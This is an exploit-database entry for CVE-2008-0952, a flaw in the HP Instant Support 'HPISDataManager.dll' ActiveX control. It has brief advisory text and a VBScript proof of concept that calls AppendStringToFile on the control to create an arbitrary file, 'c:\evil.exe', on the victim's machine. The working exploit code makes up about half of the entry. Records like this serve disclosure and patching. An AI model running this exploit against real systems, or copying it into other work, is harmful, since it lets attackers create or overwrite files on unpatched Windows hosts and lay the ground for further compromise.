HP Instant Support 1.0.22 - 'HPISDataManager.dll' ActiveX Control Arbitrary File Creation

Author: Dennis Rand
type: dos
platform: windows
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date_added: 2008-06-03  
date_updated: 2014-02-25  
verified: 1  
codes: CVE-2008-0952;OSVDB-46238  
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raw file: 31878.xml  
source: https://www.securityfocus.com/bid/29535/info

HP Instant Support 'HPISDataManager.dll' ActiveX control is prone to a vulnerability that lets attackers create and overwrite files with arbitrary, attacker-controlled content.

Successful exploits may compromise affected computers and aid in further attacks.

HP Instant Support 1.0.0.22 and earlier versions are affected.

NOTE: This issue was previously covered in BID 29526 (HP Instant Support 'HPISDataManager.dll' ActiveX Control Unspecified Code Execution Vulnerabilities), but has been given its own record because of new information.

<?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:14C1B87C-3342-445F-9B5E-365FF330A3AC' id='target' /> <script language='vbscript'> targetFile = "C:\WINDOWS\Downloaded Program Files\HPISDataManager.dll" prototype = "Sub AppendStringToFile ( ByVal bstrInputFileName As String , ByVal bstrInputString As String )" memberName = "AppendStringToFile" progid = "HPISDataManagerLib.Datamgr" argCount = 2 arg1="c:\evil.exe" arg2=String("CSIS entered this") target.AppendStringToFile arg1 ,arg2 </script></job></package>